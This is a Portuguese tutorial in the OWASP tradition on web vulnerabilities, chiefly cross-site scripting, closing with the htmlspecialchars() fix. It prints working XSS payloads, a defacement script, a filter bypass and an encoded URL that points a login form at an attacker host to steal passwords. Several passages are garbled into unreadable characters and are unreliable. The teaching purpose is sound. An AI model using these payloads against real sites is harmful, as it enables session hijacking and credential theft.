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1. Introdução ao OWASP 

O Open Web Application Security Project (OWASP) é uma comunidade livre e aberta, 

mundialmente centrada na melhoria da segurança dos softwares. Sua missão é tornar a 

segurança das aplicações visíveis, para que as pessoas e organizações possam tomar 

conhecimento sobre os verdadeiros riscos de segurança que uma aplicação pode sofrer. Todos 

são livres de participar do OWASP, e todos os materiais estão disponíveis sob uma licença de 

software livre. 

O OWASP é um novo tipo de organização. Sua liberdade do meio comercial permite fornecer 

métodos imparciais, práticos e eficazes em termos de custos sobre a aplicação de segurança. O 

OWASP não é afiliado a qualquer empresa tecnologia, apesar de apoiar a utilização de 

soluções de segurança tecnologia comercial. 

De maneira resumida, o OWASP possui como princípios ser livre e aberto, ser direta e concisa, 

obedecer a um código de ética, não ter fins lucrativos, não ser impulsionada por interesses 

comerciais e ter uma abordagem baseada em riscos. 

Como código de ética o OWASP define como seu: 

 Executar todas as atividades profissionais e deveres em conformidade com todas as 

leis aplicáveis e os mais altos princípios éticos; 

 Promover a implementação e o cumprimento das normas, procedimentos e controles 

para efeitos de aplicação da segurança; 

 Manter a confidencialidade adequada de propriedade ou de outra informação sensível 

encontradas no decurso das atividades profissionais; 

 Responsabilidades profissionais com diligência e honestidade; 

 Abster-se de quaisquer atividades que possam constituir um conflito de interesse ou 

de outra forma prejudicar a reputação dos empregadores, as informações de 

segurança profissão, ou a Associação, e 

 Não intencionalmente ferir ou refutar a reputação profissional de prática dos colegas, 

clientes ou funcionário. 
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2. Introduç ão a Segurança da Informação  

A segurança da informação é o setor da tecnologia da informação responsável por prover 

recursos e mecanismos que visam identificar, prevenir e solucionar problemas que ameaças 

possam fornecer aos ativos de uma empresa. Quanto aos ativos, esses consistem em qualquer 

recurso que tenha valor para empresa, sejam equipamentos, ferramentas lógicas (como 

softwares), estrutura física, funcionários e até mesmo a informação em si. De maneira geral, a 

segurança da informação é responsável por proteger os bens valorados da empresa, além de 

fornecer mecanismos para contra medidas caso algum dos recursos sofra algum tipo de 

ameaça ou ataque. 

Para uma análise, planejamento e implantação de segurança em uma empresa, utiliza-se como 

atributo dos ativos a tríade CIA (Confidentiality, Integrity and Availability), que representam a 

confidencialidade, integridade e disponibilidade da informação. A confidencialidade garante 

que uma dada informação só será acessada pelas pessoas e meios que possuem privilégios 

para tal ação; a integridade garante que, quando uma dada informação for acessada, a mesma 

seja real, ou seja, não tenha sofrido qualquer tipo de alteração indevida por algum meio 

externo ou interno; e a disponibilidade garante que a informação esteja disponível quando for 

solicitada. 

Os mecanismos de segurança se baseiam em controles físicos, que são barreiras que limitam o 

acesso direto a informação ou a infra-estrutura (como portas, trancas ou guardas) e controles 

lógicos, que são barreiras que impedem ou limitam o acesso a informação (geralmente 

eletrônico) que, de outro modo, ficaria exposta a cópia ou alteração não autorizada por um 

atacante. 

Atualmente, existe uma vasta quantidade de ferramentas e sistemas que possuem como 

objetivo fornecer segurança. Alguns exemplos são os Antivírus (e m4lwares em geral), 

Sistemas de Detecção e Prevenção de Intrusões, Firewalls, Filtros Anti-Spam, Fuzzers, 

Analisadores de Códigos, etc. Entretanto, uma má utilização/configuração dessas ferramentas 

podem não prover a segurança necessária para os ativos em questão. 

Além das ferramentas citadas, a segurança da informação consiste em proteger os ativos de 

ameaças físicas como incêndios, desabamentos, relâmpagos, alagamentos, acesso indevido e 

até mesmo de pessoas. 
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2.1.  Segurança em Web 

A Web foi criada com o único objetivo de prover um meio de troca de informações de maneira 

amigável do que os recursos que se tinham na época. Com isto, não se teve qualquer (ou 

pouca) ênfase em segurança, e isto se tornou um problema para aqueles que à utilizam como 

meio comercial. 

Atualmente, é possível notar que a tendência é que as aplicações sejam migradas para 

ambiente Web. Isso pelas inúmeras vantagens que essa mudança provém, como o livre acesso 

de qualquer lugar do mundo, a inter-conectividade entre sistemas, a fácil manutenção (e 

atualização) etc. Por outro lado, no dia-a-dia ouvem-se notícias e relatos que comprovam o 

quão a Internet tem se tornado um ambiente hostil, tornando então as empresas sujeitas a 

ataques alheiros que, consequentemente resultam em perda de capital e credibilidade no 

mercado.  

Muitas vezes a aplicação Web se localiza em intranet, ou seja, não possui um acesso direto de 

um meio externo a ela. Desta forma, empresários e desenvolvedores utilizam a não publicação 

do sistema como argumento de impossibilidade de comprometimento do sistema. Porém, em 

um cenário real, tem-se notado crescente o número de ataques internos, geralmente 

praticados por funcionários insatisfeitos ou até mesmo através de ferramentas maliciosas 

(malwares) instaladas acidentalmente na rede interna da empresa. 

Com o fácil acesso a informação, a Internet tem formado diversos profissionais incapazes de 

proverem segurança nos sistemas desenvolvido e, por mais incrível que pareça, todo o 

conceito de segurança em desenvolvimento web poderia ser resumido em uma única vertente 

muito bem definida no livro Writing Secure Code (ISBN 9780735617223ύ ǉǳŜ ŘƛȊ άall input is 

evil until proven otherwiseέ, ou seja, toda entrada é maléfica até que se provem ao contrário. 

Pode ocorrer de o programador ter conhecimento dos tipos de ataques. Porém isso não é o 

bastante para que o mesmo seja capaz de prover um mecanismo eficaz de proteção. De certa 

forma, ele inibiria ataques conhecidos ou até mesmo padronizados. Uma má programação de 

um mecanismo de segurança seria extremamente ineficaz em ataques planejados. 

De uma maneira geral, é possível encontrar diversos mecanismos e sugestões de boas práticas 

de programação. Porém, grande parte delas procura evitar assinaturas de ataques como 

caracteres especiais ou algumas características específicas. Ao invés de proibir que o usuário 

forneça dados inválidos, o ideal seria permitir que o usuário somente fornecesse dados 

válidos. Isto pode parecer ambíguo, só que no universo de informações que o usuário pode 

fornecer, entre dados válidos e dados inválidos existe uma infinidade de possibilidades. Assim, 

somente inibindo o usuário de fornecer um dado inválido, pode ocorrer de dados ou situações 

não previstas serem utilizadas em um ataque, o que resultaria em sucesso para um atacante. 

ά¢ƻŘŀ ŜƴǘǊŀŘŀ Ş ƳŀƭŞŦƛŎŀ ŀǘŞ ǉǳŜ ǎŜ ǇǊƻǾŜƳ ŀƻ ŎƻƴǘǊłǊƛƻέΦ 9Ƴ ǳƳŀ ŀǇƭƛŎŀœńƻ ²ŜōΣ ŘƛǾŜǊǎƻǎ 

são os meios de interação com o usuário. Com isso, outro erro ignorado por muitos 

programadores é não validar informações não manipuladas diretamente pelo usuário. 
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Muitas vezes os programadores se preocupam em verificar informações que são visíveis e de 

fácil manipulação do usuário, como variáveis de URL ou mesmo campos de formulários. Porém 

diversos são os meios de efetuar um ataque, como campos hidden de formulários, valores de 

campos do tipo select ou option, dados enviados pelo método POST, dados armazenados em 

cookie e até mesmo valores enviados no cabeçalho HTTP da requisição. 

 

3. Vulnerabilidades Web  

A Web sem via de dúvidas é o meio mais fácil de ingressar e ter um espaço na Internet. Além 

do mais, muitas vezes nos referimos à Internet como somente a Web, de tamanha diferença 

que ela é difundida com relação aos outros mecanismos de comunicação. Por esse motivo ela 

tem sido alvo de ataques dos mais diversos. 

Como a Web tem crescido de maneira a fornecer dezenas mecanismos e ferramentas para 

iteração com ela, diversos tem sido os tipos de vetores de ataques, o que torna o ambiente 

²Ŝō ƭƛǘŜǊŀƭƳŜƴǘŜ ǳƳŀ άǎŜƭǾŀέΣ onde somente os que se preocupam com sua própria 

segurança sobreviverão. 

Quando a aplicação Web não armazena nenhuma informação realmente valiosa ou 

importante, nota-se a não importância pela existência ou não de vulnerabilidades. Porém, é 

importante saber que ao encontrar uma vulnerabilidade Web, ela pode ser utilizada como 

portão de entrada para uma invasão em massa e tomada total dos recursos e serviços do 

servidor e possivelmente da rede onde o mesmo hospeda que, dependendo do contrato de 

vinculação do serviço, pode responsabilizar o contratante do serviço de hospedagem pelos 

prejuízos acarretados. 

Nos próximos capítulos, serão descritos as principais classes de vulnerabilidades presentes na 

Web, como ela são identificadas e exploradas por um atacante, e como é possível prevenir que 

se desenvolva uma aplicação suscetível a elas. 

 

3.1. Cross-Site-Script (OWASP #1) 

 

A vulnerabilidade de Cross-Site-Script (XSS) é umas das mais antigas e presentes desde os 

primórdios da programação para Web dinâmica. Apesar do baixo impacto, a falha de XSS é 

extremamente encontrada nos sistemas Web e, se sucesso na exploração, permite ao atacante 

obter controle total da sessão de autenticação do usuário vítima. 

A vulnerabilidade de XSS é explorada com sucesso quando se consegue executar códigos 

JavaScript no navegador da vítima sem o consentimento dela. Com isto, é possível enviar 

requisições para o servidor utilizando as credenciais de permissão da vítima atacada. Além do 
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mais, em um ataque planejado, é possível fazer literalmente o seqüestro de sessão (do inglês 

session hijacking), que permite acessar o sistema com autenticação da vítima. 

De uma maneira geral, a falha de XSS ocorre quando o programador imprime no navegador de 

maneira dinâmica (PHP, ASP, JSP etc) uma informação que pode ser manipulada pelo usuário. 

/ƻƳƻ άǘƻŘŀ ŜƴǘǊŀŘŀ Ş Ƴŀƭ ƛƴǘŜƴŎƛƻƴŀŘŀ ŀǘŞ ǉǳŜ ǎŜ ǇǊƻǾŜƳ ƻ ŎƻƴǘǊłǊƛƻέΣ um atacante poderia 

inserir informações no banco de dados ou em qualquer variável que retorne para o usuário 

(navegador) sem nenhum tipo de filtro de segurança. Desta forma, ao inserir caracteres 

especiais, o atacante consegue fazer com que o navegador interprete a informação fornecida 

como código Javascript, executando assim operações no navegador da vítima. 

Com a massificação do XSS, idéias foram surgindo. Dentre elas, a criação de w0rms em XSS foi 

sem dúvida a mais fantástica. Dente os destaques está o ά±írus Řƻ hǊƪǳǘέ, que em meado de 

2007, através da uma falha de XSS do Orkut, fazia com que o usuário atacado ingresse na 

ŎƻƳǳƴƛŘŀŘŜ άLƴŦŜŎǘŀŘƻǎ ǇŜƭƻ ±ƛǊǳǎ Řƻ hǊƪǳǘέ Ŝ ŜƴǾƛŀǎǎŜ ƻ ŎƽŘƛƎƻ ǉǳŜ ƛƴŦŜŎǘŀǊƛŀ ǘƻŘƻǎ ƻǎ 

amigos. Já de se esperar, a comunidade rapidamente chegou a meio milhão de membros, o 

que fez com que ela fosse a comunidade recordista da época.  

3.1.1 Primeiro Exemplo ɀ Retorno de Variáveis  

Como dito, a falha de Cross-Site-Scripting existe quando o programador repassar para o 

navegador sem qualquer filtragem e tratamento adequado uma informação que pode ser 

manipulada pelo usuário. Desta forma o usuário pode inserir códigos client-side (JavaScript, 

EMACScript, VBScript etc) que seja executados no navegador. 

Um exemplo para demonstrar a ocorrência da falha pode ser visto no código abaixo: 

 

 

No código acima, é possível notar que o desenvolvedor repassa para o navegador o valor da 

variável busca enviada pelo usuário através do método GET. Um exemplo de formulário de 

pesquisa que interaja com o código acima pode ser visto abaixo: 
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Uma caixa de texto fornece o valor da variável busca ao código PHP, porém esse valor poderia 

ter vindo de diversos lugares como campos hidden, cookie, diretamente da URL etc. 

O formulário HTML tem seu funcionamento perfeito para usuários comuns e sem más 

intenções. Porém em um ambiente real sempre devemos nos prever de usuários mal 

intencionados e levar em consideração que eles possuem conhecimento para efetuar o ataque 

e que vão fazê-lo. 

Para um melhor entendimento do funcionamento da falha, veja como ficaria o código gerado 

pelo script PHP para a busca Ataques Web: 

 

Como de se esperar, o código faz o que promete. Porém, se colocarmos caracteres especiais e 

que possa ser executados pelo navegador, o mesmo o fará e então conseguiremos ter sucesso 

em como um vetor de ataque. 

Veja como ficaria se colocássemos o seguinte valor <script>alert('Vulneravel a 

XSS')</script>  no campo de pesquisa: 

 

Como de se esperar, o script PHP simplesmente repassou o valor digitado para a página. Desta 

forma, como inserimos códigos Javascript, o navegador executou-os como segue: 
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O exemplo de vulnerabilidade de XSS demonstrado não possui grandes chances de sucesso. 

Isto porque as informações que são enviadas para serem exploradas são fornecidas no mesmo 

momento da requisição, ou seja, é necessário enviar a requisição para o servidor com os dados 

que efetuam o ataque para logo depois ter a exploração bem sucedida. Para isto, é necessário 

utilizar técnicas de Engenharia Social. A Engenharia Social consiste em bolar um meio de 

literalmente enganar a vítima a fim de induzi-la a cooperar com o processo de exploração. O 

mais comum seria enviar um e-mail contendo alguma informação de interesse da vítima e, 

com isto, obter um mecanismo de fazer com que ela acesse um endereço como o que segue: 

http://localhost/AtaquesWeb/xss_exemplo1.php?busca=<script>alert('Vulneravel+a+XSS')</script> 

Ao acessar o endereço, o código Javascript será executado assim como ocorrido anteriormente 

em que utilizamos o formulário de pesquisa. Porém, enviando o endereço citado acima, um 

usuário que tenha o mínimo de preocupação com segurança facilmente notaria que se trata de 

uma tentativa de ataque (sem mais detalhes). Para evitar esse tipo de desfeche, um atacante 

tenta ao máximo esconder o que poderia ser um ataque. Desta forma, a vítima ficaria insegura 

ǉǳŀƴǘƻ Ł ǇƻǎǎƛōƛƭƛŘŀŘŜ ŘŜ ǎŜǊ ǳƳ ŀǘŀǉǳŜ ƻǳ ƴńƻ ŜΣ ŜƳ Ƴǳƛǘŀǎ ǾŜȊŜǎΣ άŀǊǊƛǎŎŀǊƛŀέΦ ¦Ƴ ŜȄŜƳǇƭƻ 

ƻƴŘŜ ƻ ŀǘŀŎŀƴǘŜ άŎŀƳǳŦƭŀǊƛŀέ ŀǎ ŀǎǎƛƴŀǘǳǊŀǎ Řƻ ŀǘŀǉǳŜ ǇƻŘŜǊƛŀ ǎŜǊ ŜƴǾƛŀǊ ƻ ǎŜƎǳƛƴǘŜ ŜƴŘŜǊŜœƻΥ 

http://localhost/AtaquesWeb/xss_exemplo1.php?busca=%3c%73%63%72%69%70%74%3e%61%6c%65

%72%74%28%27%56%75%6c%6e%65%72%61%76%65%6c%20%61%20%58%53%53%27%29%3c%2f%

73%63%72%69%70%74%3e 

No padrão da Web, quando se deseja enviar um caractere especial no cabeçalho HTTP, para o 

parser do servidor não ter problemas, foi definido como padrão aplicar o HexEncode. O 

HexEncode (ou URLEncode), consiste em pegar cada um desses caracteres que poderiam 

causar problemas ao servidor na hora de interpretar e substituí-los pelo seu respectivo valor 

hexadecimal precedido do símbolo de porcentagem. 

Para facilitar o trabalho, foi escrito um código Javascript em uma página que acelera o 

processo de codificação de uma entrada. Se for fornecido como entrada para esta página o 
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código que foi utilizado no ataque à mesma retornará o texto codificado utilizado no exemplo 

anterior. Veja o resultado da execução do codificador: 

 

O código do codificador pode ser visto na figura abaixo: 

 

Como dito, o codificador simplesmente substitui cada caractere por seu respectivo valor ASCii 

(em hexadecimal) precedido do símbolo de porcentagem (linhas 21 e 22). 

Existem dezenas de métodos onde podemos explorar a falha de Cross-Site-Scripting. Uma das 

grandes vantagens em sua exploração, é que as vulnerabilidades de XSS são cross-plataform., 

ou seja, por ela serem explorada por códigos de internet client-side, elas são independente de 

plataforma. Entretanto, teoricamente, as falhas de XSS se limitam ao ambiente Web, com isto 

não é possível gravar ou instalar programas no disco da máquina da vítima. Entretanto, isto é 

verdade somente quando se deseja um código que infecte múltiplas plataformas, já que em 

alguns navegadores como o Internet Explorer existem recursos que nos permite ler e gravar 

dados no HD da vítima. 
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3.1.2 Segundo Exemplo ɀ Recuperação de Dados 

Dos diversos locais aonde se pode encontrar uma vulnerabilidade de XSS, os que mais 

interessam os atacantes são falhas que buscam informações de um meio de armazenamento. 

Na falha descrita, a informação que é repassada para o navegador vem diretamente do 

navegador, o que cria a necessidade da cooperação da vítima para o sucesso no ataque. 

Entretanto, algumas falhas de XSS surgem quando os dados fornecidos por um usuário 

(atacante) são gravados em um meio de armazenamento (banco de dados, arquivo etc.) e ao 

ser impresso não passar por qualquer tipo de filtro. 

Um exemplo bem completo de como esse tipo de falha pode ocorrer pode ser visto na figura 

abaixo: 

 

O código acima consiste em uma simples agenda de contatos com uma área de cadastro e uma 

listagem. Todo o processamento de busca e gravação é feito nas funções cadastraContato 

(linha 5) e buscaContatos (linha 8). Isto foi feito propositalmente para abstrair o meio de 

armazenamento. Porém, para um melhor acompanhamento do curso segue o código de 

ambas as funções: 
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Toda entrada é mal intencionada até que se provem ao contrário. O foco da vulnerabilidade 

está no fato de o script gravar os dados fornecidos pelo usuário e em seguida os repassar sem 

nenhum tipo de filtro. Com isto, um atacante pode simplesmente injetar o código Javascript 

em qualquer um dos campos e esperar que algum outro usuário acesse a mesma página 

executando, assim, o código Javascript inserido. Veja: 
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No exemplo, foi inserido no campo telefone o código <script>alert('attack')</script> que será 

gravado como um registro e, em qualquer acesso à página, repassado para o usuário (vítima), 

tendo sucesso no ataque. 

Repare que a qualquer acesso que fizer à página o resultado será sempre o mesmo, a 

mensagem que foi inserida pelo atacante. Veja: 

 

Repare que para demonstrar o sucesso na execução do Javascript, foi solicitado que o mesmo 

exiba uma mensagem. Entretanto, em um ataque real, dificilmente o usuário suspeitará do 

atacante, já que o ataque procura fazer as requisições e ações de maneira escondida. 

Uma ação comum para um atacante seria alterar informações da própria página. Se o mesmo 

tiver o propósito de fazer uma pichação na página (defacing), ele poderia simplesmente injetar 

o seguinte código: 

<script> 

document.body.innerHTML = "<h1 align='center'>H4ck3d by 0ut0fBound</h1>"; 

</script>  

Desta forma o impacto comercial para a vítima seria incalculável, já que o resultado será o 

visto na seguinte figura: 
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3.2.3 Terceiro Exemplo ɀ Altera ção de Informações da Página  

Outro tipo de exploração à XSS ocorre quando o usuário altera informações criteriosas da 

página em questão, como valores, textos ou até mesmo endereços de links e destinos de 

formulários. 

Já tive sucesso na exploração de XSS em um caso onde alterei o destino para onde o 

formulário de acesso enviava os dados. Com isto, fiz um código externo que capturava os 

dados enviados pelo formulário, gravava-os em um lugar e em seguida retornava para a tela de 

erro comum. Para demonstrar este caso que foi citado vamos analisar o seguinte código: 

 

Repare que na linha 17 é impresso um valor fornecido pelo método HTTP-GET, desta forma 

visível na URL. Podemos tirar proveito disto montando uma URL cujo endereço seja algo como: 

ƘǘǘǇΥκκƭƻŎŀƭƘƻǎǘκ!ǘŀǉǳŜǎ²ŜōκȄǎǎψŜȄŜƳǇƭƻоΦǇƘǇΚƳǎƎҐғǎŎǊƛǇǘҔŘƻŎǳƳŜƴǘΦƎŜǘ9ƭŜƳŜƴǘǎ.ȅ¢ŀƎbŀƳŜόΨfor

ƳΩύώлϐΦŀŎǘƛƻƴҐΩƘǘǘǇΥκκǿǿǿΦŀǘǘŀŎƪŜǊǎƛǘŜΦŎƻƳκǇŜƎŀǎŜƴƘŀΦǇƘǇΩΤғκǎŎǊƛǇǘҔ 

Ou ainda utilizar o mecanismo de camuflagem já visto, deixando a URL mais ilegível: 

http://localhost/AtaquesWeb/xss_exemplo3.php?msg=%3c%73%63%72%69%70%74%3e%64%6f%63%

75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d

%65%28%2018%66%6f%72%6d%2019%29%5b%30%5d%2e%61%63%74%69%6f%6e%3d%2019%68%74

%74%70%3a%2f%2f%77%77%77%2e%61%74%74%61%63%6b%65%72%73%69%74%65%2e%63%6f%6

d%2f%70%65%67%61%73%65%6e%68%61%2e%70%68%70%2019%3b%3c%2f%73%63%72%69%70%7

4%3e 

Ambas as URL irão ter o mesmo efeito para o servidor, porém para o usuário a primeira URL 

apresenta maiores chances de ser um ataque. 
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No exemplo citado, o servidor www.attackersite.com é controlado pelo atacante e o script 

pegasenha.php simplesmente armazena as senhas fornecidas pelo e redireciona-o para o 

servidor original novamente informando uma mensagem de erro qualquer. Ao tentar 

novamente acessar o sistema, o usuário conseguirá logar com sucesso, passando despercebido 

pelo ataque. 

Um exemplo simples de script que poderia ser utilizado pelo atacante para salvar as senhas e 

redirecionar ao servidor original pode ser visto abaixo: 

 

Repare que na linha 12 o código redireciona para a página de erro, induzindo o usuário a 

pensar que digitou errado o login ou a senha. Quando o usuário digitar novamente terá 

acessado normalmente o sistema. 

Quando um atacante deseja explorar uma falha de Cross-Site-Script, ele precisa saber o 

contexto onde ele consegue injetar o código Javascript. Isto significa que, por mais que ele 

encontre uma falha de XSS em uma página, a exploração como as vistas até agora 

simplesmente podem não surtir efeito. 

3.1.4 Quarto Exemplo ɀ Mudança de Escopo 

Como dito no inicio, a falha de Cross-Site-Scripting ocorre pelo simples fato de o programador 

não filtrar os dados que podem ser manipulados pelo usuário antes de reenviá-los para o 

navegador. Independente de onde estiver no código, é possível explorar uma falha de XSS. 

O mais comum de se encontrar são parâmetros passados pela URL que são repassados para 

alimentar informações na página. Se tivermos um pedido de código 1234, para qualquer 

operação a ser feita nesse pedido deve ter como referência o código do pedido 1234. Um 

exemplo desse tipo de falha esta no trecho de código abaixo: 
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Reparem que a variável pedido é repassada para a página sem nenhum tipo de filtro. 

Entretanto, se tentarmos inserir um código Javascript como os vistos até agora, o mesmo não 

surtirá efeito algum já que estamos no contexto da tag HTML <a>, mais precisamente no 

atributo href. Para se ter sucesso em uma exploração de XSS, é necessário antes sair do 

contexto da tag atual voltando para o contexto da página e, em seguida, retornar para o 

contexto da tag, de maneira a deixar imperceptível a tentativa de ataque. 

Analisando mais cautelosamente, notamos que para sair ta tag atual, precisamos fechar as 

aspas e em seguida ŦŜŎƘŀǊ ƻ ǎƝƳōƻƭƻ ŘŜ ΨƳŀƛƻǊ-ǉǳşΩΦ [ƻƎƻ ŀǇƽǎ ǇƻŘŜƳƻǎ ƛƴǎŜǊƛǊ ƴƻǎǎƻ ŎƽŘƛƎƻ 

Javascript. 

É possível notar que desta forma seria notável que alguma coisa está estranha, já que 

ǎƻōǊŀǊŀƳ ŀǎ ŀǎǇŀǎ Ŝ ƻ ǎƝƳōƻƭƻ ŘŜ άƳŀƛƻǊ-ǉǳŜέ ƻǊƛƎƛnal e as mesmas serão impressas na 

página. Para que isto não ocorra, é necessário criar algum artifício que utilize esses caracteres 

e os mesmo não seja impresso. Este ponto vai da criatividade de cada um, uma solução seria o 

seguinte: 

http://localhost/AtaquesWeb/xss_exemplo4.php?pedido="><script>alert('attack')</script><xss+" 

Com isto, o script será executado e não afetará o leiaute da página. 

Para se proteger de ataques de XSS, basta levar em consideração a frase dita em diversas parte 

Řƻ ŘƻŎǳƳŜƴǘƻΥ ά¢ƻŘŀ ŜƴǘǊŀŘŀ Ş Ƴŀƭ ƛƴǘŜƴŎƛƻƴŀŘŀ ŀǘŞ ǉǳŜ ǎŜ ǇǊƻǾŜƳ ƻ ŎƻƴǘǊłǊƛƻΦέΦ {ŜƎǳƛƴŘƻ 

este paradigma de programação seria razoavelmente simples e útil se proteger não só dos 

ataques de Cross-Site-Scripting, como de praticamente qualquer ataque Web ou não-web. 

Como a vulnerabilidade de XSS consiste em inserir códigos Javascript na página, uma 

alternativa seria impedir a inserção de caracteres que possam inferir na execução do script 

como os caracteres < e >. Veja um exemplo de código abaixo: 

 

Como em uma política de firewall, tentar bloquear o que não se deseja não é uma boa 

alternativa, pois ás vezes é difícil (ou impossível) prever todo tipo de dado que pode 

representar um ataque. Portanto, como uma política de firewall, o ideal seria permitir 

somente entradas válidas. 

Um exemplo que burlaria esse filtro simples seria a inserção do seguinte dado à URL: 

http://localhost/AtaquesWeb/xss_safe01.php?usuario=" onmouseover="javascript:alert('XSS') 
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Ao carregar a página, a falha não seria carregada. Porém, ao passar o mouse sobre a caixa de 

texto, o resultado seria como a seguinte imagem: 

 

3.1.5 Solução 

Em vez de procurar prover uma proteção contra os ataques de Cross-Site-Scripting, o ideal 

seria torná-los sem efeito. Isso porque muitas vezes é necessário se inserir os caracteres 

maior-que e menor-que em uma mensagem ou em um campo de formulário. Além do mais, 

não seria muito legal fornecer ao usuário inocente uma mensagem de tentativa de ataque 

caso ele tente colocar os caracteres de um emotion ou de uma setinha como ->. Para uma real 

solução que agrade a todos, o próprio HTML nos fornece uma solução. 

Diversos caracteres possuem outras representações que indicam que os mesmo deve ser 

renderizados no navegador ao invés de passar para interpretação. Como toda a internet 

(TCP/IP), isto não foi feito pensando em segurança, mas sim na diferença de codificação entre 

as diversas regiões e navegadores. Alguns utilizam por padrão ISSO-8859-1, outros utiliza UTF-

8 como padrão, o que causa um grande problema caso tentem ser interpretados. 

No caso da linguagem PHP, uma função chamada htmlspecialchars() pode ser utilizada para 

substituir os caracteres que são interpretador como HTML para suas representações reais a 

serem impressas no navegador. Esta função possui a seguinte sintaxe: 

string htmlspecialchars ( string $string  [, int $quote_style  [, string $charset  ]] ) 

O primeiro parâmetro consiste na entrada fornecida pelo usuário. O segundo parâmetro 

(opcional) é utilizado para o PHP saber o que fazer com as aspas-simples e aspas-dupla.  O 

terceiro parâmetro (opcional). O terceiro parâmetro é utilizado para identificar o conjunto de 

caracteres (codificação) a ser utilizada. O padrão de codificação é o ISO-8859-1. 

Para o segundo parâmetro quote_style, o modo padrão, ENT_COMPAT, é o modo mais 

compatível com a atualidade, apenas transforma a aspas-dupla e deixa a aspas-simples como 

está. Se ENT_QUOTES está definida, ambas transformadas e se ENT_NOQUOTES está definida 

nenhuma das duas são modificadas. 














































































































